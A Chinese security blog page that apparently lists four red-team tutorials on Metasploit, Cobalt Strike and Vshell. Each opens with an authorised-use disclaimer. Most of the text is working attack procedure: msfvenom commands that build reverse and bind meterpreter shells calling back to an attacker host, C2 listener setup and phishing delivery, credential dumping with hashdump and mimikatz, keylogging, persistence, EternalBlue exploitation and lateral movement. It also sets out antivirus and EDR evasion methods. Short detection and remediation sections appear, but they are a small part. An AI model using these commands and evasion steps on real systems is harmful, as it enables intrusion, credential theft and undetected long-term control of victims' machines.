后渗透 on SoulJian小站

MSF 深度实战：模块、Payload 与后渗透

Sat, 29 Aug 2026 23:55:00 +0800

写在前面：合法学习边界

MSF 仅用于授权测试。对非授权目标利用、后渗透可能触犯法律。

一、MSF 的构成

1
2
3
4


msfconsole：主控制台
模块：exploit / payload / auxiliary / post / encoder
msfvenom：独立 payload 生成器
数据库：记录扫描与主机信息

二、基础操作（深化）

1
2
3
4
5
6
7
8


msfdb init # 初始化数据库
msfconsole
db_nmap 192.168.1.10 # 结果入数据库
search type:exploit name:xxx # 搜模块
use exploit/... # 选择
show options / set RHOSTS / run
sessions -l / sessions -i 1 # 会话管理
jobs -l / jobs -K # 后台任务

三、msfvenom 生成 Payload（正反向）

反向（reverse，目标出网）

1
2
3


msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机 LPORT=4444 -f exe -o shell.exe
# Linux / 其他格式
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=x LPORT=x -f elf -o shell

正向（bind，目标只能进不能出）

1

msfvenom -p windows/meterpreter/bind_tcp RHOST=目标 LPORT=4444 -f exe -o shell.exe

常用格式

1

exe / elf / msi / ps1 / py / php / asp / war

四、免杀思路（授权内）

1
2
3
4
5
6


1. 编码（shikata_ga_nai）—— 老方法，多数已失效
2. 加壳/混淆 —— 降低静态特征
3. 加载器 —— shellcode 加密 + 白名单程序加载
4. 进程注入 —— 内存运行，不落地文件
5. 换 payload/改特征 —— 减少已知签名
注意：免杀是与杀软/EDR 的持续对抗

五、Meterpreter 后渗透

1
2
3
4
5
6
7
8
9


sysinfo / getuid # 基本信息
getsystem # 提权到 SYSTEM
run post/multi/recon/local_exploit_suggester # 本地提权建议
hashdump # 抓哈希
load kiwi / creds_all # mimikatz 抓凭据
ps / migrate # 进程注入
download / upload # 文件
run persistence # 持久化
shell # 系统 Shell

六、横向与提权

1
2
3
4


提权：getsystem + local_exploit_suggester
横向：抓哈希后配合 psexec/wmiexec 模块
auxiliary/scanner/smb/smb_ms17_010：探测永恒之蓝
exploit/windows/smb/ms17_010_eternalblue：利用

完整操作步骤

1
2
3
4
5
6


第 1 步：msfdb init 并启动 msfconsole
第 2 步：按目标出网情况用 msfvenom 生成正反向 payload
第 3 步：起 handler 监听，投递执行
第 4 步：Meterpreter 会话后渗透（getsystem/hashdump）
第 5 步：横向提权、持久化
第 6 步：注意免杀与特征

七、小结

MSF 的核心是“模块化 + 会话 + 后渗透”。用 msfvenom 生成正反向 payload、用 meterpreter 做提权抓凭据、用模块做横向，是一条完整链路。但 MSF 特征明显，免杀要单独处理；配合手工验证和 C2 平台使用效果更好。

Cobalt Strike 深度实战：木马生成、正反向与插件

Sat, 29 Aug 2026 23:40:00 +0800

写在前面：合法学习边界

Cobalt Strike 是商用红队工具，仅用于授权项目。非授权上线可能触犯法律。

一、正反向 Listener 与木马

反向连接（Reverse，最常用）

1
2
3


原理：目标主动连回攻击机
场景：目标可出网
Listener：windows/beacon_http_reverse_tcp、reverse_https

正向连接（Bind）

1
2
3


原理：目标开放端口，攻击机连过去
场景：目标只能进不能出（防火墙/隔离网）
Listener：windows/beacon_bind_tcp

Staged vs Stageless

1
2
3
4


Staged：先跑小段加载器，再从服务器拉完整 beacon
 体积小、隐蔽性好，但依赖分段下载
Stageless：完整 beacon 打进 exe
 体积大、更稳，常用于避免分段被拦

二、生成木马

界面生成

1
2
3
4
5


Attacks → Packages
Windows Executable（Staged/Stageless）
Windows Executable(S)：可分片
Scripted Web Delivery：远程加载
HTML Application / MS Office Macro：钓鱼投递

msfvenom 配合（正反向）

1
2
3
4


# 反向
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机 LPORT=4444 -f exe -o shell.exe
# 正向
msfvenom -p windows/meterpreter/bind_tcp RHOST=目标 LPORT=4444 -f exe -o shell.exe

三、上线与后渗透

1
2
3


投递木马 → 目标执行 → 会话上线
常用命令：shell、upload/download、screenshot、
migrate、getsystem、hashdump、mimikatz、socks

四、插件（CNA / Aggressor）

1
2
3
4
5
6
7


Cobalt Strike 用 CNA（Aggressor Script）做扩展
常用插件类型：
 免杀/加载器
 CrossC2：Linux/macOS beacon
 各类信息收集/横向辅助
 GitHub 上有大量开源插件
加载：Script Manager → Load

五、免杀思路（授权内）

1
2
3
4
5
6
7


1. 改 C2 Profile：自定义流量特征（URI、UA、伪造流量）
2. 改监听端口、sleep、jitter，降低固定特征
3. 加载器免杀：shellcode 加密 + 白名单程序加载
 （rundll32 / mshta / powershell / 白文件）
4. 进程注入：注入白进程内存运行，不落地文件
5. 加壳/混淆：降低静态特征
6. 免杀是与杀软/EDR 的持续对抗，授权内测试

六、检测（对立面）

1
2
3
4
5


默认 Beacon 特征：固定端口/UA/流量指纹
内存特征、异常进程注入
mimikatz/hashdump 行为
回连域名/固定时间片
EDR 都能识别默认 CS → 必须改特征

完整操作步骤

1
2
3
4
5
6


第 1 步：启动 teamserver，连接 Client
第 2 步：按目标出网情况选正反向 Listener
第 3 步：生成 payload（Staged/Stageless），投递执行
第 4 步：确认上线，做基础后渗透（shell/mimikatz）
第 5 步：建 Socks 隧道、横向移动
第 6 步：改特征/免杀，做权限维持

七、小结

CS 深化的关键是：正反向连接选对场景、Staged/Stageless 选对投递、插件扩展能力、免杀要改特征。木马生成不只是“点一下生成”，还要考虑目标出不出网、杀软/EDR 能不能过、流量像不像真的。攻防双方都在研究它的指纹。

Vshell 深度实战：功能模块与免杀

Sat, 29 Aug 2026 23:30:00 +0800

写在前面：合法学习边界

Vshell 是后渗透工具，仅用于授权测试。对非授权目标上线 Agent 可能触犯法律。

一、Vshell 定位

Vshell 是国内轻量级 C2/后渗透平台，核心是“一台服务端管理多台主机”，功能覆盖上线、控制、隧道、横向，界面和上手比 CS 轻。

1

服务端 + Agent：Windows/Linux 均支持

二、服务端部署

1
2
3


# Linux 运行服务端，设置连接口令
./Vshell_linux_amd64 -token YourToken
# 默认监听端口（web 管理 + 回连监听）

1

注意：Vshell 默认特征明显，授权内使用，别在公网裸跑

三、生成 Agent（正反向）

反向（默认）

1
2


目标主动连回服务端
适用：目标可出网

正向（Bind）

1
2


目标开端口，服务端连过去
适用：目标只能进不能出（边界环境）

生成方式

1
2
3


选择目标系统（Windows/Linux）
选择架构（x86/x64）
生成 exe/elf 或脚本

四、Agent 上线与控制

1
2
3
4
5
6


目标执行 → 服务端出现主机
功能：
 命令执行
 文件管理（上传/下载）
 端口/进程查看
 注册表/计划任务（持久化辅助）

五、隧道与横向

1
2
3


Socks5 代理：让本地访问目标内网
端口转发：把内网端口映射出来
横向：配合抓取凭据/哈希登录其他主机

1
2


# 本地走 socks 访问内网
proxychains4 nmap -sT -Pn 内网IP

六、免杀思路（授权内）

1
2
3
4
5


1. 改特征：端口、回连路径、流量指纹
2. 加载器：shellcode 加密 + 白名单程序加载（rundll32/mshta/powershell）
3. 进程注入：注入白进程内存中运行
4. 加壳/混淆：降低静态特征
5. 注意：免杀是独立课题，实时对抗，授权使用

七、与 Cobalt Strike 对比

1
2
3


相同：服务端 + Agent、上线、隧道、横向
区别：Vshell 更轻、国产、上手快；CS 生态/插件更成熟
选型：看场景与团队习惯

八、检测（对立面）

1
2
3
4


Agent 固定流量特征、固定回连结构
异常外联、非常规端口
进程/文件特征可被 EDR 识别
服务端 IP/端口作为 IOC

完整操作步骤

1
2
3
4
5
6


第 1 步：Linux 启动服务端并设置口令
第 2 步：按目标出网情况选正反向生成 Agent
第 3 步：投递 Agent，确认上线
第 4 步：命令执行/文件管理/抓凭据
第 5 步：开 Socks/端口转发进内网
第 6 步：改特征免杀、权限维持

九、小结

Vshell 让“单点失陷 → 集群控制”变得很轻量。用它会生成正反向 Agent、隧道、横向是核心；防守端要抓异常外联、Agent 特征和 EDR 告警。和 CS 一样，授权使用 + 注意特征两件事都要做。

Cobalt Strike 基础使用与 Beacon 实战

Sat, 29 Aug 2026 16:40:00 +0800

写在前面：合法学习边界

Cobalt Strike 是商用红队工具，仅用于授权测试或授权渗透项目。未经授权使用、上线真实系统可能触犯法律。

一、工具定位

Cobalt Strike（CS）是红队常用的 C2 框架，核心组件：

1
2
3
4


Teamserver：服务端，管理团队与 Beacon
Client：攻击者操作界面
Listener：监听反向连接
Beacon：植入目标主机的后门会话

它的价值不只是“反弹 Shell”，而是团队协作 + 后渗透 + 横向的一体化平台。

二、启动与配置

启动 Teamserver

1
2


# 用法：teamserver <监听IP> <密码> [c2profile]
./teamserver 192.168.1.100 YourPassword

连接 Client

1
2


打开 Cobalt Strike → Connect
输入 teamserver IP、密码

新建 Listener（监听器）

1
2
3


Listeners → Add
Type 选 windows/beacon_https（加密回流，比 http 稳）
设置 Host 为攻击机 IP、端口（如 443/8443）

三、生成 Payload 并上线

生成 Beacon

1
2
3


Attacks → Packages → Windows Executable
选 Listener，生成 exe
把 exe 投递到目标执行（钓鱼/漏洞利用后）

上线确认

1

目标执行后，Cobalt Strike 的会话列表出现 Beacon

四、Beacon 常用命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


shell whoami # 执行系统命令
shell ipconfig /all
upload /path/x.exe # 上传文件
download C:\x.txt # 下载文件
screenshot # 截屏
ps # 进程列表
migrate <pid> # 进程注入迁移（稳会话）
getsystem # 提权到 SYSTEM
hashdump # 抓本地哈希
mimikatz sekurlsa::logonpasswords # 抓凭据
keylogger # 键盘记录
sleep 60 # 回连间隔
browserpivot # 浏览器劫持
socks 1080 # 开 Socks 代理
spawn # 派生新会话

五、横向与隧道

横向移动

1
2
3


用 beacon 的 psexec_psh / wmi 模块
目标：已抓到的哈希/账号横向登录其他主机
配合 mimikatz hashdump + psexec_psh

Socks 代理

1
2


beacon> socks 1080
本地 proxychains 指到 CS 客户端 → 访问内网

影响与风险

C2 一旦上线目标，攻击者能做的事远不止弹个 Shell：

1
2
3


长期驻留、随时远程控制
抓取凭据、横向移动整个内网
数据窃取、勒索、持久后门

风险等级：严重。CS 这类平台化工具放大了单点失陷的影响面。

六、特征与规避（务必注意）

1
2
3
4


默认 Beacon 特征明显：固定端口、固定 User-Agent、默认流量指纹
安全产品能识别默认 CS → 需改 C2 Profile 隐藏特征
上线频率(sleep)、进程迁移、内存中运行可降低落地风险
免杀与规避是独立课题，授权内使用

七、检测（对立面）

1
2
3
4


特征域名/固定回连流量
Beacon 内存特征、异常进程注入
抓包识别 C2 协议指纹
EDR 检测 CS 常用手法（mimikatz、hashdump、进程注入）

修复

1
2
3
4
5


清除失陷主机上的 Beacon 进程与持久化
排查计划任务/服务/注册表中的自启
加固出站策略，阻断 C2 回连
EDR 检测进程注入、mimikatz 等手法
修复后复测：无外联、无异常进程

八、小结

Cobalt Strike 的流程是：teamserver → listener → payload 上线 → beacon 后渗透 → 横向。它把红队工作“平台化”，但也因此特征明显——攻防双方都在研究它的指纹。授权使用、注意特征，是两件必须同时做的事。